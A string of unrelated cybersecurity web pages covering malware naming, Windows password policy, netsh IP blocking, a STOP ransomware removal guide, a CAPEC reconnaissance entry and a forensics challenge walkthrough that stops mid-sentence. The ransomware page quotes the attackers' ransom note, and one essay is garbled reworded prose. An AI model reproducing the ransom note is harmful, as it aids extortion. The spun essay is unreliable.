spreading false information about Gozi (which I later corrected) and also for creating yet another name for GootLoader aka GooLoad malware. The reason for not reverting the name to GootLoader is simple: It would require too many changes in too many signatures and cleaning algorithms and none of them improve the protection of our product. This is why coupling malware taxonomy with detection names is not a good idea. Some of the causes might have already popped up in your mind while reading the malware name creation section. Malware analysts who create malware names often don't have the time nor the incentive to be accurate. Even if analysts want to be accurate, it is a tedious task that may still not result in the correct name. Analysts create new family names if they can't find any that fits. Mistakes are often not noticed because no testing is done for identification. Even if naming mistakes are noticed they are often not corrected: Doing it consistently requires a lot of effort and doesn't improve protection. Names that have already been established may not be applicable for every party involved. There may be policies that prevent the use of these names, and such policies are different in every organization. Therefore, new names are created to abide by these policies. The names may also need to fit PR purposes, e.g., Sodinokibi is hard to pronounce and to remember, but its alias REvil is much better suited for blog articles and news. We have no common agreement on malware naming, nor is there any review procedure or institution to oversee it. Wrong identification or use of names is usually not even noticed. Noteworthy outbreaks of malware infections require fast reaction times by malware analysts as well as the news media. This results in simultaneous creation of new malware names for the same family or variant. It is the reason why the Petya variant EternalPetya has so many names—its first outbreak was pandemic and all antimalware companies had been working on it on the same day. Malware detection is already difficult, mathematically it is an undecidable problem (see Fred Cohen, 1987, Computer Viruses, p. 28). Identification more so because it requires additional steps. If I identify a malware family, the detection of its malicious components is a prerequisite. The antivirus industry focuses on protection, not identification. Yet, their employees are the main creators of malware names, most of the time indirectly via detection names that are picked up by publications and news. As a result we have at least as many malware naming conventions as there are antivirus companies, and no common understanding. If detection names did not attempt or pretend to be a malware taxonomy, many misunderstandings, misuses and wrong identifications can be prevented. So what we need is a decoupling of detection names and malware taxonomy. An alternative way to create detection names is described in the IceWater project. If any product seemingly identifies malware, it should be tested for identification capabilities; not only for detection. It must be made clear for consumers of such products whether a product detects or identifies. Pretending to do one thing while actually doing another is unfortunately how detection names are presented currently. Once there is a decoupling (see Step 1), the antimalware industry and sciences may be open to agree on a common taxonomy, policies to deal with name conflicts, and a process to ensure quality. That's because this agreement doesn't directly affect antimalware company's detection names anymore which are necessary for their operational work. Without that detachment, antimalware companies would not be able nor willing to unify malware family naming or the naming procedure. We might adopt scientific peer-review procedures for malware analysis papers and new malware names just as it is common in academia to peer-review research papers. We have public sample and malware databases, but they are not suited for this purpose yet. E.g., there is Malpedia by Fraunhofer FKIE. It is a malware database of currently 2023 families with short descriptions, some aliases, links to blog articles and Yara rules. However, Malpedia does not comment on the linked articles which naturally contain contradicting information. It merely acts as a reference collection. The Yara rules of Malpedia do not suffice for proper identification of malware families as many of them suffer from false positive and false negative matches as well as conflation of a family with its packer, loader or other detached components. This is not necessarily the result of bad rule writing. Rather the methodology of using signature-based detection is not best suited to identify families. Intezer has a more adequate methodology for identification. It compares similarities of code and strings to reference files of a malware family. It does this on the sample itself as well as the memory contents while running it. But Intezer is not meant as a database to look up families, aliases, and their common defining behaviour as well as capabilities. We need a public malware database that includes: The first step is probably the hardest. The same inflexibility that causes the inaccuracy of malware naming also makes it difficult move away from a pretense malware taxonomy in detection names. Especially because there is no immediate gain by doing this step. On the contrary, loosing the pretense malware identification might seem like a loss at first. An easier transition might be possible by just adapting new detection names and technologies or only changing what is shown to the user of the antimalware product. You might ask if such a database is possible with the new appearance of threats every day. I am confident that it is! The huge threat counts we see in malware prevalence reports are based on sample counts, or infection attempts, but not families. Malpedia currently lists only 2023 families, and during my daily work I usually find what I am looking for. There are certainly a few thousand families more than those listed on Malpedia, but the magnitude is easy enough to handle. The number of families can be reduced if we concentrate on those that are at least active for a few months. The gains in the long run would be huge. If we actually made improvements in malware family naming, it would be easier to find information about malware, mistakes were less likely and work would less likely be done twice (e.g., because a family is already known but the analyst did not find the information). That in turn improves detection signature writing, reponse times to malware incidents, adequate treatment of such incidents, threat prevention and malware research time and quality.
Enforce password history - Windows 10 Describes the best practices, location, values, policy management, and security considerations for the Enforce password history security policy setting. The Enforce password history policy setting determines the number of unique new passwords that must be associated with a user account before an old password can be reused. Password reuse is an important concern in any organization. Many users want to reuse the same password for their account over a long period of time. The longer the same password is used for a particular account, the greater the chance that an attacker will be able to determine the password through brute force attacks. If users are required to change their password, but they can reuse an old password, the effectiveness of a good password policy is greatly reduced. Specifying a low number for Enforce password history allows users to continually use the same small number of passwords repeatedly. If you do not also set Minimum password age, users can change their password as many times in a row as necessary to reuse their original password. - User-specified number from 0 through 24 - Not defined - Set Enforce password history to 24. This will help mitigate vulnerabilities that are caused by password reuse. - Set Maximum password age to expire passwords between 60 and 90 days. Try to expire the passwords between major business cycles to prevent work loss. - Configure Minimum password age so that you do not allow passwords to be changed immediately. Computer Configuration\Windows Settings\Security Settings\Account Policies\Password Policy The following table lists the actual and effective default policy values. Default values are also listed on the policy’s property page. \|Server type or GPO\|\|Default value\| \|Default domain policy\|\|24 passwords remembered\| \|Default domain controller policy\|\|Not defined\| \|Stand-alone server default settings\|\|0 passwords remembered\| \|Domain controller effective default settings\|\|24 passwords remembered\| \|Member server effective default settings\|\|24 passwords remembered\| \|Effective GPO default settings on client computers\|\|24 passwords remembered\| This section describes features, tools, and guidance to help you manage this policy. None. Changes to this policy become effective without a device restart when they are saved locally or distributed through Group Policy. This section describes how an attacker might exploit a feature or its configuration, how to implement the countermeasure, and the possible negative consequences of countermeasure implementation. The longer a user uses the same password, the greater the chance that an attacker can determine the password through brute force attacks. Also, any accounts that may have been compromised remain exploitable for as long as the password is left unchanged. If password changes are required but password reuse is not prevented, or if users continually reuse a small number of passwords, the effectiveness of a good password policy is greatly reduced. If you specify a low number for this policy setting, users can use the same small number of passwords repeatedly. If you do not also configure the Minimum password age policy setting, users might repeatedly change their passwords until they can reuse their original password. Note: After an account has been compromised, a simple password reset might not be enough to restrict a malicious user because the malicious user might have modified the user's environment so that the password is changed back to a known value automatically at a certain time. If an account has been compromised, it is best to delete the account and assign the user a new account after all affected systems have been restored to normal operations and verified that they are no longer compromised. Configure the Enforce password history policy setting to 24 (the maximum setting) to help minimize the number of vulnerabilities that are caused by password reuse. The major impact of configuring the Enforce password history setting to 24 is that users must create a new password every time they are required to change their old one. If users are required to change their passwords to new unique values, there is an increased risk of users who write their passwords somewhere so that they do not forget them. Another risk is that users may create passwords that change incrementally (for example, password01, password02, and so on) to facilitate memorization, but this makes them easier for an attacker to guess. Also, an excessively low value for the Maximum password age policy setting is likely to increase administrative overhead because users who forget their passwords might ask the Help Desk to reset them frequently.
In part two, I showed you how to use the Local Security Policy GUI to block the bad guys. There were a lot of pretty pictures for those that prefer the GUI. In this version, I’ll show you how to accomplish the same thing from the command line. This is my preferred method. It is much simpler to automate and explain. By following the steps below, you will be able to create a new policy and manage the filter lists and actions. The goal here will be to put all these pieces together into a nice tidy package that is fully automated. The policy you create in this tutorial will not be applied to the system until you “Assign” the policy in Step 6. As long as the policy is not assigned, you can safely edit, add, remove, etc. rules and sets to the policy without affecting the system. Note: double and triple check your sets to ensure you do not block legitimate traffic before assigning the policy. To begin this tutorial, open the command prompt. If you don’t know how, you probably shouldn’t be doing this. All commands meant to be typed are in italics. Step 1: Create IP Security Policy netsh ipsec static add policy description=“This policy blocks all traffic to hosts/nets associated with it.” Step 2: Create an IP Filter List netsh ipsec static add filterlist description=“This filter list contains hosts and networks known to host malware, criminal activity, etc.” Step 3: Create IP Filters and Associate them with the Filter List (Repeat this step until all hosts you wish to block have been entered) Single IP (10.254.254.254/32) netsh ipsec static add filter filterlist=“Bad Hosts” srcaddr=10.254.254.254 dstaddr=any description=“John Smith. 12/31/2015. Brute force logon attempts to: SERVER01” netsh ipsec static add filter filterlist=“Bad Hosts” srcaddr=10.254.254.0 dstaddr=any srcmask=24 description=“John Smith. 12/31/2015. Brute force logon attempts to: SERVER01” Network Range (10.254.254.2-10) netsh ipsec static add filter filterlist=“Bad Hosts” srcaddr=10.254.254.2-10.254.254.15 dstaddr=any description=“John Smith. 12/31/2015. Brute force logon attempts to: SERVER01” Step 4: Create a Filter Action netsh ipsec static add filteraction description=“This action blocks all traffic.” action=block Step 5: Create Policy Rule to apply Filter Action to Filter List netsh ipsec static add rule policy=“Blocked Traffic” filterlist=“Bad Hosts” filteraction=“Block All Traffic” activate=yes Step 6: Assigning (and un-assigning) the Policy This step will apply all the settings you have created up to this point. Double and triple check that you did not enter a valid host or network or it will be blocked. If fact, if you have any doubts in your mind, do not do this step until another person (who knows what they are doing) looks over your work too! Note: This is one place MS will not give you a little “are you sure you want to do this” type of warning. As soon as you assign the policy, it is done. netsh ipsec static set policy name=“Blocked Traffic” assign=yes netsh ipsec static set policy assign=no
Aaroh helps clients in Government, Law Enforcement, and Enterprises to identify,prevent, recognize, resolve and shield from dangers, wrongdoings, breaks and cheats emerging because of abuse of advanced and specialized gadgets, applications and advances. Malware analysis is the study or process of determining the functionality, origin and potential impact of a given malware sample such as a virus, worm, trojan horse. Security Operations Centers Security operations centers monitor and analyze activity on networks, servers, endpoints, databases, applications, websites, and other systems, looking for anomalous activity that could be indicative of a security incident or compromise. Managed Security Services Day-to-day monitoring and interpretation of important system events throughout the network, including unauthorized behavior, malicious hacks and denials of service (DoS).
Viewing the contents of a report The PDF file of a generated report contains data from processing traffic of the selected workspace during the specific period of time. The report header contains the following information: The body of the report includes the following blocks of information: - Number of objects processed (Processed (objects)) and volume of scanned traffic (Traffic (MB)). - Number of objects processed (Scanned (objects)) and threats (Detected (objects)) detected by the following technologies: - Malicious link filter. - Number of visited URLs that were assigned the following web categories: - Adult content. - Alcohol, tobacco, drugs. - Culture, society. - Software, audio, video. - Information technologies. - Online stores, banks, payment systems. - Hate, discrimination. - Internet communication. - Hobbies, entertainment. - Health, beauty, sports. - Gambling, lotteries, sweepstakes. - Forbidden by laws of the Russian Federation. - Forbidden by Police. - Last 10 blocked URL addresses. URLs of the last 10 web resources that were blocked. - Last 10 threats. Names and time of detection of the last 10 objects. - Last 10 blocked users. IP addresses of the last 10 users whose requests were blocked by the application.
There's an easy method for extracting hard disk S.M.A.R.T. testing logs using the CLI. This is useful if you require support on Synology and need an easier method to get the data (other than creating screenshots from your web-browser), and if more detailed data is needed. Before getting the logs from the CLI, first run an extended SMART analysis from the DSM. This will take a while (usually several hours). Running the analysis on multiple disks is possible and can be done concurrently, but it needs to be initiated manually for each disk. Once tests have completed, log onto the CLI (using your favourite SSH client, such as PuTTY) using the "admin" or "root" account. As Synology is in fact a linux-based system, physical drives are identified as /dev/sdX, where X signifies the physical drive according to its bay: /dev/sda being the first, /dev/sdb the second, and so on. To get to the analysis report, you need to run the command-line tool smartctl, which is the linux-based implementation for S.M.A.R.T. analysis and reporting. The command requires some parameters to work properly on the Synology platform. In essence, it is this: sudo smartctl -a -d sat -T permissive /dev/sda The command above will dump the report to the CLI. In the example, we reference the first disk (/dev/sda), so adjust the device node as necessary to get reports for other disks. Note that if you use the "admin", you need to use sudo (as indicated in the example). If you logged in as "root", sudo is not required. You can also use standard redirection to dump the output to a file: sudo smartctl -a -d sat -T permissive /dev/sda > /tmp/sda.log. You can then copy the log as a file (using SCP, for instance).
Minimize your digital risk by detecting data loss, securing your online brand, and reducing your attack surface. A powerful, easy-to-use search engine that combines structured technical data with content from the open, deep, and dark web. Digital Risk Protection Read our new practical guide to reducing digital risk. New report recognizes Digital Shadows for strongest current offering, strategy, and market presence of 14 vendors profiled Read Full Report The Australian Signals Directorate (ASD) has published what it calls the “Essential 8”: a set of fundamental mitigation strategies as a baseline for securing an organization. It is intended to be a pragmatic set of mitigation strategies designed to address the most common adversary behaviors. They are: There is often a feeling of “security nihilism” when it comes to reporting around intrusions, especially those conducted by nation-states or other types of APT threat actor groups. However, pragmatic approaches such as the Essential 8 framework go a long way to mitigating many typical adversary behaviors. That is, it increases the costs for an attacker to attack a particular organization. This is the name of the game. In order to demonstrate this, we took our recent work on the Mitre ATT&CK framework and various indictments of cyber criminals and nation state actors and mapped them to the Essential 8 framework: The mapping exercise was very instructive and yielded a number of key insights: Essential 8 is an excellent framework for mitigating many common adversary behaviors. By mapping some well-known adversaries to the ATT&CK framework we can see how, by using Essential 8, an organization can significantly obstruct adversaries. However, Essential 8 is just the beginning of a cyber security program. As the above mapping clearly demonstrates, detection is an important part of a cyber security program, especially at the earlier and later stages of the attack lifecycle.
Electronic security, also called cybersecurity or data security, identifies the measures and techniques put in place to guard electronic assets, data, and methods from unauthorized entry, breaches, and cyber threats in electronic environments. In today’s interconnected world, where organizations count heavily on digital systems and cloud processing, virtual protection plays a vital role in safeguarding sensitive data and ensuring the strength, confidentiality, and availability of data. Among the main concerns of virtual protection is guarding against unauthorized access to electronic resources and systems. This calls for applying sturdy authentication mechanisms, such as for example passwords, multi-factor validation, and biometric authorization, to confirm the identity of people and reduce unauthorized persons from opening sensitive and painful information and resources. Moreover, electronic protection encompasses measures to safeguard against malware, viruses, and other detrimental software that could compromise the protection of virtual environments. Including deploying antivirus software, firewalls, intrusion recognition systems, and endpoint security methods to discover and mitigate threats in real-time and reduce them from scattering across networks. Yet another important aspect of virtual security is securing knowledge both at rest and in transit. This requires encrypting knowledge to render it unreadable to unauthorized people, thus defending it from interception and eavesdropping. Security ensures that even when information is intercepted, it remains secure and confidential, lowering the chance of knowledge breaches and unauthorized access. Moreover, electronic safety involves implementing access controls and permissions to restrict consumer liberties and restrict usage of painful and sensitive knowledge and programs only to approved individuals. Role-based entry get a handle on (RBAC) and least opportunity rules are frequently applied to ensure that customers have entry simply to the sources necessary for their tasks and responsibilities, reducing the risk of insider threats and information breaches. Virtual protection also encompasses tracking and logging activities within electronic conditions to find suspicious conduct and potential safety incidents. Security data and function management (SIEM) solutions obtain and analyze logs from numerous options to recognize safety threats and react to them quickly, minimizing the affect of protection situations and stopping information loss. More over, virtual protection requires standard security assessments and audits to gauge the potency of existing security regulates and recognize vulnerabilities and flaws in electronic environments. By conducting practical assessments, organizations may identify and address security gaps before they can be used by internet attackers, improving overall safety posture. Furthermore, electronic protection needs ongoing training and training for employees to boost recognition about cybersecurity most useful practices and make certain that people realize their functions and responsibilities in maintaining security. Safety recognition education programs help personnel virtual security identify possible threats, such as for example phishing cons and cultural engineering episodes, and get ideal actions to mitigate risks. In conclusion, virtual safety is needed for protecting organizations’ digital resources, information, and programs from internet threats and ensuring the confidentiality, integrity, and accessibility to data in digital environments. By employing effective safety steps, including accessibility regulates, encryption, checking, and user instruction, businesses can enhance their defenses against cyber problems and mitigate the dangers related to running in today’s interconnected world.
Amazon EC2 best security practice methods to follow AWS EC2 – Security Group The Security Group in AWS Ec2 is acting as a firewall. By default security group block all ports. You need to specify the port numbers in the security group to open. It is a good security practice to open ports for a specific network instead of open network (0.0.0.0/0) By this method you can block unwanted access from unwanted networks. Keep reading →
If your photos, documents and music does not open normally, their names modified or .SAVEfiles, .DATAWAIT, .INFOWAIT added at the end of their name then your system is infected with a new [email protected] ransomware from the family of the STOP ransomware. Once started, it have encrypted all files stored on a PC system drives and attached network drives. The [email protected] ransomware is a malicious software that created in order to encrypt personal files. It hijack a whole system or its data and demand a ransom in order to unlock (decrypt) them. The authors of the [email protected] ransomware have a strong financial motive to infect as many PC systems as possible. The files that will be encrypted include the following file extensions: .bkf, .upk, .dazip, .xlsm, .wmv, .wpd, .wm, .odt, .zdc, .flv, .wmd, .vpk, .xbdoc, .dbf, .xls, .ff, .blob, .eps, .mcmeta, .hvpl, .mef, .w3x, .mdb, .wsd, .mddata, .lvl, .wbz, .wdp, .cer, .ntl, .yml, .erf, .mpqge, wallet, .arw, .psd, .kdc, .wbc, .js, .png, .kdb, .cdr, .forge, .t12, .wb2, .pst, .wmf, .srf, .dxg, .xbplate, .odp, .m3u, .raw, .qdf, .indd, .wn, .icxs, .jpg, .xar, .tax, .1st, .dng, .doc, .dcr, .xdl, .das, .xlsm, .txt, .kf, .itl, .dmp, .asset, .ncf, .mrwref, .wpa, .ai, .ptx, .odc, .wire, .pptx, .hkx, .fos, .wps, .rwl, .wp7, .wp6, .x3d, .xml, .apk, .ltx, .sql, .rb, .pdf, .rar, .xlgc, .cas, .xy3, .bc6, .big, .itm, .sr2, .pdd, .x, .pfx, .yal, .wp5, .wav, .wma, .itdb, .wotreplay, .fpk, .sidn, .vcf, .wpw, .wcf, .wbm, .bkp, .tor, .pak, .der, .psk, .xlsx, .3ds, .arch00, .slm, .mp4, .odb, .esm, .avi, .mov, .xls, .wsh, .jpeg, .odm, .wpl, .hplg, .xll, .csv, .menu, .y, .hkdb, .pkpass, .ibank, .wmo, .mdf, .wps, .zabw, .wgz, .rofl, .bik, .syncdb, .0, .xpm, .xwp, .xx, .pef, .rtf, .rw2, .d3dbsp, .zw, .raf, .sid, .wpe, .epk, .gdb, .xmind, .xyw, .css, .ztmp, .wma, .snx, .crw, .wbmp, .wpg, .wmv, .vpp_pc, .sie, .t13, .p12, .1, .jpe, .z, .bay, .wdb, .xmmap, .7z, .cfr, .wpt, .webp, .lbf, .r3d, .xdb, .db0, .sum, .3dm, .zif, .xlk, .pptm, .zip, .nrw, .mdbackup When the ransomware encrypts a file, it will append the .SAVEfiles, .DATAWAIT, .INFOWAIT extension to each encrypted file. Once the ransomware finished enciphering of all documents, photos and music, it will create a file called “!readme.txt” with ransom instructions on how to decrypt all files. An example of the ransom note is: Your files, photos, documents, databases and other important files are encrypted and have the extension: .SAVEfiles The only method of recovering files is to purchase an decrypt software and unique private key. After purchase you will start decrypt software, enter your unique private key and it will decrypt all your data. Only we can give you this key and only we can recover your files. You need to contact us by e-mail [email protected] send us your personal ID and wait for further instructions. For you to be sure, that we can decrypt your files – you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE. Price for decryption $300. This price avaliable if you contact us first 72 hours. E-mail address to contact us: Reserve e-mail address to contact us: Your personal id: The ransomnote encourages victim to contact ransomware’s makers via [email protected] in order to decrypt all files. These persons will require to pay a ransom (usually demand for $300-1000 in Bitcoins). We do not recommend paying a ransom, as there is no guarantee that you will be able to decrypt your documents, photos and music. Especially since you have a chance to restore your files for free using free utilities such as ShadowExplorer and PhotoRec. Table of contents - How to decrypt SAVEfiles files - How to remove [email protected] ransomware virus - How to restore SAVEfiles files for free - How to protect your machine from [email protected] ransomware? How to decrypt SAVEfiles files You will need to contact Dr. Web antivirus company for help with SAVEfiles files decryption. They do charge a fee, if you were not a Dr. Web antivirus customer at the time of ransomware attack and they are able to decrypt it. Use the link below. Except for [email protected] ransomware decryptor that was made by the Dr. Web antivirus company, at the moment there is no other free way to decrypt encrypted files. But you have a chance to restore encrypted files for free. How to remove [email protected] ransomware virus In order to remove [email protected] ransomware from your PC system, you need to stop all ransomware processes and delete its associated files including Windows registry entries. If any ransomware components are left on the computer, the ransomware virus can reinstall itself the next time the personal computer boots up. Usually ransomwares uses random name consist of characters and numbers that makes a manual removal procedure very difficult. We suggest you to use a free virus removal tools that will help get rid of [email protected] ransomware virus from your computer. Below you can found a few popular malware removers that detects various ransomware. Remove [email protected] ransomware with Zemana Anti-malware Zemana Anti-malware highly recommended, because it can look for security threats such [email protected] ransomware virus, ad supported software and other malicious software which most ‘classic’ antivirus programs fail to pick up on. Moreover, if you have any [email protected] ransomware removal problems which cannot be fixed by this tool automatically, then Zemana Anti-malware provides 24X7 online assistance from the highly experienced support staff. - Visit the following page to download Zemana Anti Malware (ZAM). Save it directly to your MS Windows Desktop. Author: Zemana Ltd Category: Security tools Update: March 3, 2018 - Once the download is finished, close all apps and windows on your personal computer. Open a folder in which you saved it. Double-click on the icon that’s named Zemana.AntiMalware.Setup. - Further, press Next button and follow the prompts. - Once installation is complete, click the “Scan” button to begin checking your machine for the [email protected] ransomware virus and other malicious software and potentially unwanted applications. This procedure can take some time, so please be patient. When a malicious software, ad supported software or potentially unwanted software are detected, the count of the security threats will change accordingly. - When finished, you’ll be displayed the list of all found items on your machine. Make sure all items have ‘checkmark’ and click “Next”. When the clean-up is finished, you can be prompted to restart your personal computer. Use MalwareBytes Anti Malware (MBAM) to delete [email protected] ransomware We recommend using the MalwareBytes Anti-Malware (MBAM) that are completely clean your machine of the ransomware. This free tool is an advanced malicious software removal application made by (c) Malwarebytes lab. This program uses the world’s most popular antimalware technology. It’s able to help you get rid of virus, potentially unwanted apps, malware, adware, toolbars, and other security threats from your system for free. Installing the MalwareBytes Anti Malware (MBAM) is simple. First you’ll need to download MalwareBytes Free on your PC system by clicking on the following link. Category: Security tools Update: March 20, 2018 After downloading is done, run it and follow the prompts. Once installed, the MalwareBytes Anti Malware will try to update itself and when this process is complete, click the “Scan Now” button . MalwareBytes program will scan through the whole machine for the [email protected] ransomware and other malicious software and PUPs. This task may take quite a while, so please be patient. While the utility is checking, you may see how many objects and files has already scanned. In order to remove all items, simply press “Quarantine Selected” button. The MalwareBytes Anti Malware (MBAM) is a free program that you can use to delete all detected folders, files, services, registry entries and so on. To learn more about this malware removal utility, we suggest you to read and follow the few simple steps or the video guide below. Use KVRT to get rid of [email protected] ransomware virus from the PC KVRT is a free removal utility that may be downloaded and use to delete ransomwares, adware, malicious software, PUPs, toolbars and other threats from your PC. You can use this utility to look for threats even if you have an antivirus or any other security program. Download Kaspersky virus removal tool (KVRT) by clicking on the following link. Author: Kaspersky® lab Category: Security tools Update: March 5, 2018 Once downloading is complete, double-click on the Kaspersky virus removal tool icon. Once initialization process is finished, you’ll see the Kaspersky virus removal tool screen as displayed in the figure below. Click Change Parameters and set a check near all your drives. Click OK to close the Parameters window. Next click Start scan button to perform a system scan with this tool for the [email protected] ransomware and other trojans and harmful programs. This process can take quite a while, so please be patient. While the Kaspersky virus removal tool is checking, you can see count of objects it has identified either as being malicious software. As the scanning ends, KVRT will open a screen that contains a list of malicious software that has been found as on the image below. Review the scan results and then press on Continue to begin a cleaning process. How to restore SAVEfiles files for free In some cases, you can recover files encrypted by [email protected] ransomware virus. Try both methods. Important to understand that we cannot guarantee that you will be able to restore all encrypted photos, documents and music. Use shadow copies to recover SAVEfiles files If automated backup (System Restore) is enabled, then you can use it to restore all encrypted files to previous versions. Click the link below to download ShadowExplorer. Save it to your Desktop so that you can access the file easily. Category: Security tools Update: February 27, 2018 When the downloading process is finished, extract the saved file to a folder on your computer. This will create the necessary files like below. Launch the ShadowExplorerPortable application. Now choose the date (2) that you wish to recover from and the drive (1) you want to recover files (folders) from as displayed below. On right panel navigate to the file (folder) you want to recover. Right-click to the file or folder and press the Export button as shown on the image below. And finally, specify a directory (your Desktop) to save the shadow copy of encrypted file and press ‘OK’ button. Run PhotoRec to restore SAVEfiles files Before a file is encrypted, the [email protected] ransomware virus makes a copy of this file, encrypts it, and then deletes the original file. This can allow you to restore your files using file recover software such as PhotoRec. Download PhotoRec on your computer from the following link. Category: Security tools Update: March 1, 2018 When the download is finished, open a directory in which you saved it. Right click to testdisk-7.0.win and choose Extract all. Follow the prompts. Next please open the testdisk-7.0 folder as displayed in the figure below. Double click on qphotorec_win to run PhotoRec for Microsoft Windows. It will display a screen like below. Choose a drive to recover as displayed below. You will see a list of available partitions. Select a partition that holds encrypted files as displayed on the screen below. Click File Formats button and select file types to restore. You can to enable or disable the restore of certain file types. When this is finished, click OK button. Next, click Browse button to choose where recovered documents, photos and music should be written, then click Search. Count of recovered files is updated in real time. All restored photos, documents and music are written in a folder that you have chosen on the previous step. You can to access the files even if the recovery process is not finished. When the recovery is done, press on Quit button. Next, open the directory where restored personal files are stored. You will see a contents as shown on the screen below. All recovered personal files are written in recup_dir.1, recup_dir.2 … sub-directories. If you’re searching for a specific file, then you can to sort your recovered files by extension and/or date/time. How to protect your machine from [email protected] ransomware? Most antivirus programs already have built-in protection system against the ransomware virus. Therefore, if your personal computer does not have an antivirus application, make sure you install it. As an extra protection, use the CryptoPrevent. Run CryptoPrevent to protect your machine from [email protected] ransomware virus Download CryptoPrevent on your system by clicking on the following link. Run it and follow the setup wizard. Once the setup is finished, you will be shown a window where you can choose a level of protection, as displayed below. Now press the Apply button to activate the protection. Now your system should be clean of the [email protected] ransomware. Uninstall KVRT and MalwareBytes Free. We suggest that you keep Zemana Free (to periodically scan your computer for new malware). Probably you are running an older version of Java or Adobe Flash Player. This can be a security risk, so download and install the latest version right now. If you are still having problems while trying to get rid of [email protected] ransomware virus from your machine, then ask for help here.
Is my Kubernetes pod protected against host mounting? In privileged mode, Kubernetes pods can mount the host filesystem and may be subject to container escape. This chain attempts to mount the host filesystem to test whether the host is vulnerable to a container escape. It is critical that pods are not able to mount the host filesystem, as attackers may create persistence by altering mounted files, elevating privileges, and escaping the container. To view this TTPs command, you must be logged in with a professional or enterprise license.Login Test this TTP Download Operator (1.7.1)
Function: This system ensures that untested and unverified files, URLs, components, and programs are executed without harming the host machine. Virtual Machines (VMs) act as “sandboxes” that contain malicious files or URLs, thus, preventing these malware attacks from entering the actual system. Zero-Day Attacks: A flaw in hardware, software, or firmware that gets discovered when there is zero-time left to mitigate the attack. How does sandboxing help? Once the files and URLs are analyzed by the host VM (Virtual Machine), the malware samples are safety executed in an isolated environment in the guest VM. Hence, continual testing and execution of files prevents the occurrence of zero-day.
The Internet has changed. It's no longer just about Web browsing. Today, it's dominated by Web 2.0 applications such as instant messaging, social networking, P2P, voice and video. Standalone URL filtering solutions are no longer sufficient to control these applications and secure your network. You need a secure Web gateway that provides not only URL filtering, but also granular application control and malware prevention. Left uncontrolled, Web browsing and Web 2.0 applications create security and compliance vulnerabilities for your organization such as: * Malware infection (viruses, worms, spyware, rootkits, and more) and SpIM (Spam over IM) which can cause a major drain on productivity and resources. * Information leakage leading to loss of confidential information * e-Discovery and regulatory compliance breaches with out of policy communications and/or limited ability to monitor or retrieve communications Tune in to this FaceTime Webinar for an explanation of these threats and how to effectively counter them with a comprehensive solution that increases your control over the Web and helps decrease operational costs. This Webinar will: * Help you understand the multi-vectored security threats that Web 2.0 technology poses to you and your business * Assist you in preparing for the continuing evolution of the Internet and why a secure Web gateway has become a must-have. * Explain the benefits of consolidating URL filtering, application control and malware prevention on a single appliance to simplify management and get the most out of your budget dollar This Webinar is for: * IT managers wanting to understand the nature of Web 2.0 application behavior and the threats they introduce. * IT users looking to educate themselves on the seachange taking place in the IT security industry. * Anyone wishing to bring themselves up to speed on effective Web browsing and Web 2.0 security technology.
Common Attack Pattern Enumeration and Classification A Community Resource for Identifying and Understanding Attacks An attacker sends an ICMP Type 17 Address Mask Request to gather information about a target's networking configuration. ICMP Address Mask Requests are defined by RFC-950, "Internet Standard Subnetting Procedure." An Address Mask Request is an ICMP type 17 message that triggers a remote system to respond with a list of its related subnets, as well as its default gateway and broadcast address via an ICMP type 18 Address Mask Reply datagram. Gathering this type of information helps an attacker plan router-based attacks as well as denial-of-service attacks against the broadcast address. Many modern operating systems will not respond to ICMP type 17 messages for security reasons. Determining whether a system or router will respond to an ICMP Address Mask Request helps the attacker determine operating system or firmware version. Additionally, because these types of messages are rare they are easily spotted by intrusion detection systems. Many ICMP scanning tools support IP spoofing to help conceal the origin of the actual request among a storm of similar ICMP messages. It is a common practice for border firewalls and gateways to be configured to block ingress ICMP type 17 and egress ICMP type 18 messages. Target Attack Surface Description Targeted OSI Layers: Network Layer Target Attack Surface Localities Target Attack Surface Types: Network Host The ability to send custom ICMP queries. This can be accomplished via the use of various scanners or utilities. The following tools allow a user to craft custom ICMP messages when performing reconnaissance: [R.294.1] [REF-20] Stuart McClure, Joel Scambray and George Kurtz. "Hacking Exposed: Network Security Secrets & Solutions". Chapter 2: Scanning, pp. 53-54. 6th Edition. McGraw Hill. 2009. [R.294.2] J. Mogul and J. Postel. "RFC950 - Internet Standard Subnetting Procedure". August 1985. <http://www.faqs.org/rfcs/rfc950.html>. [R.294.3] [REF-23] J. Postel. "RFC792 - Internet Control Messaging Protocol". Defense Advanced Research Projects Agency (DARPA). September 1981. <http://www.faqs.org/rfcs/rfc792.html>. [R.294.4] [REF-28] Mark Wolfgang. "Host Discovery with Nmap". November 2002. <http://nmap.org/docs/discovery.pdf>. [R.294.5] [REF-22] Gordon "Fyodor" Lyon. "Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning". Section 3.7.2 ICMP Probe Selection, pg. 70. 3rd "Zero Day" Edition,. Insecure.com LLC, ISBN: 978-0-9799587-1-7. 2008. More information is available — Please select a different filter.
CyberDefenders: “Ulysses” Walkthrough SPOILER ALERT — A possible Solution to the Challenge A Linux server was possibly compromised and a forensic analysis is required in order to understand what really happened. Hard disk dumps and memory snapshots of the machine are provided in order to solve the challenge. - victoria-v8.sda1.img: acquired disk image - victoria-v8.kcore.img: memory dump done by dd’ing /proc/kcore. - victoria-v8.memdump.img: memory dump done with memdump. - Debian5_26.zip: volatility custom Linux profile. Mounting the disk image sudo mount victoria-v8.sda1.img /mnt/server/data Dealing with Memory image using Volatility Example, process listing: vol.py --profile LinuxDebian5_26x86 -f victoria-v8.memdump.img linux_pslist - The attacker was performing a Brute Force attack. What account triggered the alert? Authentication logs are under 2. How many were failed attempts there? Grep for all Failed auth in auth.log to and accumulate the results. 3. What kind of system runs on the targeted server? /etc/issue.net is one of the files that holds the system type info. 4. What is the victim’s IP address? On modern Linux distros: look in /var/lib/NetworkManager for dhclient-<GUID>-<NIC>.lease files. These are text files containing details of DHCP leases acquired. On older systems, look under /var/lib/dhc* for similar files. Another way is, filtering for dhcp logs to identify the last IP address leased to the client. 5. What are the attacker’s two IP addresses? Format: comma-separated in ascending order ? One if the Attacker IP was the cause for the Brute-Force attack. Second IP was connecting to the Mail Service and testing the exploit. Also shown in the Network connections in the memory image connecting to Mail service on port 25. 6. What is the “nc” service PID number that was running on the server? Using the Memory Image we can see the process list and it’s PIDs. 7. What service was exploited to gain access to the system? (one word) The Email service EXIM4 was the affected service. 8. What is the CVE number of exploited vulnerability? From the Logs, I noticed a very large Headers and what seems to be an RCE (Remote Code Execution) attempts. where the attacker is trying to send a shell command to get executed. Searching for CVE under EXIM with word Headers and registered prior 2011 which was the date mentioned in the logs. we can easily find the 